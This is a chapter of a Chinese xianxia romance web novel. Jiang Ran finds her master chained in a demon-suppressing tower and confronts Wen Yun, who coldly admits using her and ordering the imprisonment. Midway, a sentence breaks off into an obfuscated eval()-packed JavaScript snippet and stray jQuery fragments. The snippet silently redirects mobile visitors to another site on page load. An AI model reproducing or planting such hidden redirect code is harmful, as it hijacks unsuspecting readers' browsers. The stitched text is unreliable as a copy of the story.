83. 工具人

作品:《清冷仙君追妻火葬场了

    名义上,姜冉是被禁足的,但金原与芙照调动了守卫,看守霄云峰小院的都成了金鸟族将士,谁也不会为难,她便跟着芙照“大摇大摆”地走出院门,一路往天宫东北方向而去。


    只是才刚入天宫,姜冉眼皮便猛烈跳动起来。


    这是去往镇魔塔的路!


    礼兵殿当值那几日,这条路她走了许多遍,错不了。


    一股恶寒之意顺着脊柱缓缓而上。


    师父一介凡人之躯,竟将他关在镇魔塔,到底是何人授意?


    一颗心被拎到了嗓子眼。


    姜冉提着裙摆飞奔起来,却跑得跌跌撞撞,险些被脚下青石板上凸起的浮雕绊倒。


    直到站在镇魔塔前,看着芙照缓缓将门推开,她反而走不动道了。


    塔内灯火通明,烛光从半掩的门缝中溢出,不知是不是亮得晃眼,洒在姜冉脸上,竟让她面容都模糊了几分,教人看不出表情来。


    守卫都被芙照提前支走了,此刻镇魔塔周围只剩她们二人。


    一股不可名状的恐惧爬上心头,几乎霸占了姜冉所有的感知。


    视线变得模糊,耳畔喧嚣远离,唯能听见一片“嗡嗡”声,就连扶在门框上的手被冰刃割破,她也浑然觉不出疼痛来。


    她害怕看到那对她而言如阿爹一般重要的人被绑在石台之上,受尽折磨。


    为什么身边的人要一个接一个离她而去。


    阿爹阿娘如此,金牧天帝如此,怎么连师父都要撇下她?


    噢,不对。


    天谴还未结束吧?是她害了师父……


    镇魔塔内传来了铁链碰撞的声音,随之而来是一道微弱的声音,断断续续,几乎被风声掩盖:“小冉……是你吗?”


    短短几个字如一根细针,深深扎入她的灵魂中,随之,愧疚的情绪如潮水般急速蔓延,涌向眼底,浸湿了眼眶。


    姜冉张了张口,应了一声:“是我,师父……”


    她动了动发麻的双脚,终是踏入了塔内,每一步靠近石台的脚步都沉重如铅。


    目光穿过朦胧的泪水,望向那石台上被铁链束缚的身影。


    衣衫褴褛,身形消瘦,昔日的英姿不再,取而代之的是无尽的憔悴与疲惫,唯有一双眼,在瞧见少女月白色的裙角之际,如点漆般骤然亮起。


    姜冉再也忍不住了。


    泪水决堤而下,三步并作两步跑到石台上,扑进灵均怀中,喃喃叫着:“师父,师父......”


    灵均虽是司命五分仙元所化的分身,却只单单被灌入了他下凡作为“灵均”时的记忆。


    对他而言,姜冉便是他在这世间唯一的亲人。


    他想拍拍她的背,一如她儿时在外受了委屈,跑回家寻求安慰这般。


    可此时,他的双手被铁链所束,动不得分毫,只好放缓声音安抚她道:“没事的小冉,师父好着呢。”


    姜冉吸了吸鼻子,从灵均怀中出来,站直身子,仰头问他:“您是如何到这里来的?”


    灵均叹了口气:“为师离开小渔村后便四处游历,前几日感应到北海之地亡灵数量剧增,便想着前去探查一番,不料遇到清扫战场的仙族士兵,非说我偷盗什么玉佩,便把我抓了过来。”


    玄冰玉佩!


    这玉佩明明就在她体内,仙族士兵就算找不到也不能随意将罪名按在无辜之人身上吧!


    不过,既然是因为玄冰玉佩那便好办了。


    她来想办法!大不了去求仙族,只要将玉佩从她体内取出,就可以证明师父的清白。


    想到这里,姜冉心中的恐惧淡去了几分,嘴角一扯扬起一道笑来,竟反过头来安慰灵均:“师父别急,我知道玄冰玉佩在哪里,待我寻来交给仙族,咱们一起回小渔村。”


    “小冉——”见姜冉要走,灵均急得吼了一声,捆着他四肢的铁链被猛地一扯,发出稀里哗啦的撞击声。


    姜冉脚步一顿,回过头去看他。


    灵均眼中不知何时蓄了泪,他深深地看了少女一眼,才道:“别去了小冉,听师父的话,回到凡间,寻一个他们找不到你的地方好好生活。”


    “那您呢?”姜冉不解,明明就是一场误会,解释清楚不就好了?


    “你不用担心师父,我的本事,你还不知道么?”灵均笑着说道。


    这抹含着泪的笑落在姜冉眼中却是格外刺目。


    朝夕相处十几载,她怎能看不见灵均眼底的那抹晦暗,他不是“自有办法”,恐怕是“不想有办法”了。


    仙族高居九霄,看似超然物外,实则暗流涌动,是个吃人不吐骨头的险恶之地。


    这样的龙潭虎穴,岂能留师父一人面对?


    姜冉倔犟地转过头:“师父放心,徒儿定会证明你的清白,要走,咱们一起走!”


    说罢,也不管灵均如何喊她,头也不回便往外走。


    直到一脚迈出镇魔塔,姜冉才乍然醒悟过来,如今的九重天是文昀说了算……


    *


    夜幕低垂,凌霄殿内烛火明亮,桌案之上堆满了古籍,散发的墨香中夹杂着淡淡的霉味。


    文昀端坐于案前,神色凝重,修长的手指从一张张泛黄的书页上掠过,一目十行地扫视着古籍,像是在寻找什么内容。


    外面不知何时下起了雨。


    泽尘端着漆盘推门而入,头发、衣衫均被雨水浸湿,唯有漆盘上的药汤被护得很好,还冒着热气。


    他走到桌案前扫了一圈,却没找到放碗的空隙。


    自司命殿回来,他家仙君便没出过凌霄殿,每日除了见众仙议事,便是埋头研究古籍。


    累了,便去屏风后的竹榻上小憩一会儿,醒来便接着埋头苦读。


    打扫桌案的时候,他曾瞥过几眼,这些古籍都是关于神族的,便不难猜到他家仙君是为神女历劫之事操心。


    只是,神女历劫本就是司命殿的工作,怎么现在却落到自家仙君身上了?


    泽尘本就有些不满,这会儿见他不顾身体挑灯夜读,忍不住嘟囔道:“夜深了,仙君喝了药早些休息吧。”


    坐在桌案旁的那人并未抬头看他一眼。


    甚至就像没听见似的,继续翻阅手中古籍。


    泽尘目光闪了闪,把药碗往文昀身前一递,继续道:“若事事都要仙君亲力亲为,怕是化出十个分身都忙不过来。灵魄芝反噬阶段虽已渡过,可若是操劳过度也会有损修为,仙君不可大意。”


    碗内汤药晃动,不慎洒了几滴出来,溅在书页上。


    文昀这才抬起头来,眉宇间生了几分不悦:“神女之事时间紧迫耽搁不得,我的身体自己有数,你且出去吧。”


    “是。”泽尘低低应了了声,寻了个地方把药碗搁下,打算先出去。


    就在这时,殿外传来一阵喧哗声,不一会儿,一名仙侍匆匆跑进大殿:“文昀仙君,姜冉姑娘在殿外吵着要见您。”


    姜冉那丫头怎么跑了?礼兵殿怎么看守的?!


    泽尘陡地一扬眉,往殿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379306|144615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    外快走了几步:“她居然还敢跑来凌霄殿!我这就把她压回去!”


    “等等。”文昀出声阻止。


    他抬头望了眼窗外。


    雨下得很大,冷风卷着雨水从窗子吹入,落在人身上竟觉得有些寒意。


    这么大的雨,姜冉还跑来找他,应是都知道了。


    宽大的袖袍划过桌案,堆积如山的古籍瞬间消失,就连桌案旁的烛火也随之灭了一半。


    文昀坐着没动,一双手却已悄然攥紧,透过门缝,他依稀瞧见了那道月白色的身影,过了片刻,才哑声道:“让她进来。”


    泽尘与仙侍都退了出去。


    姜冉走进凌霄殿的时候,浑身上下都湿透了,一双眼又红又肿,带着几分祈求,落在桌案后的那道白色人影上。


    窗外是淅淅沥沥的雨声。


    文昀也看着她,却不说话,眸光淡漠,一如他每日与众仙议事那般平静,无波无澜,好似并未看到她被雨浇湿的狼狈。


    姜冉心底微涩,可为了师父,她强忍着想要转头逃走的冲动,不得不放下自尊软声道:“我师父去北海引渡亡灵,却被误以为偷盗玄冰玉佩被抓到了镇魔塔,玉佩在我体内,我可以想办法证明,你能不能先把他放了?”


    “证明?你要如何证明?”


    桌案旁烛光昏暗,姜冉并看不清文昀的表情,可他语气冰冷、生硬,甚至带着从来有过的嘲讽。


    姜冉一怔,竟不知如何去回。


    文昀就像没看到她脸上的表情一般,继续道:“姜冉,你不是不知道玄冰玉佩对仙族有多重要?”


    当然知道!


    净浊渊封印有损,魔神想尽办法要破印而出。


    这一点,姜冉比谁都清楚,所以也更加明白玄冰玉佩的重要性。


    她想解释几句,却被文昀接下来的话堵了回去,甚至犹如当头被击了一棒,眼前竟有片刻发黑。


    文昀从椅子上站起来,双手用力压着桌面,目视着她,一字一句道:“若非你会阴阳术,我岂会邀你一同北上?若非瑞明兽偏对你有好感,我又岂会与你在冰瀑洞窟耽搁上这么些时日?我让你把玄冰玉佩带回丹青台,你却弄丢了它,好不容易抓到有玄冰玉佩线索的人,你却叫我放人。姜姑娘是觉得我傻吗?”


    姜冉的心跳骤然快了几分,随之而来的是心口处绵绵密密的疼痛,头有些昏沉。


    一阵风从窗口灌入,淋了雨的身子突然发起冷来,不住地打颤。


    心底有道声音隐隐浮现:走吧姜冉,别再自寻难堪了。


    这声音愈来愈大,几乎占据了所有的理智,可她偏执拗地忽视了,竟抬起脚,迈着沉重的步伐往大殿深处走去:“你的意思,从始至终,我于你而言就是为拿到玄冰玉佩工具,包括冰瀑洞窟里发生的一些切,对吗?”


    按住桌沿的手握得很紧,用力到指甲近乎要嵌入桌案里。


    文昀却并未否认,看向姜冉的眼中甚至还透着嗤笑与疏离:“不然呢?”


    那双红肿的桃花眼无力地颤了颤,眼底的不甘与愤怒在他话音落下的瞬间一点一点化为冷寂与悲凉。


    姜冉微微扬起脸,清丽的脸庞上是毫无血色的苍白,泛着湿意的眼角叫人分不出是雨还是泪:“所以,把我师父关入镇魔塔,也是你的授意?”


    宽大的袖袍垂了下去,藏在袖中的手指疼得有些发麻。


    文昀紧抿着嘴,敛眸避开了少女灼热到好似能看穿灵魂的视线,只平淡道了一个字:“是。”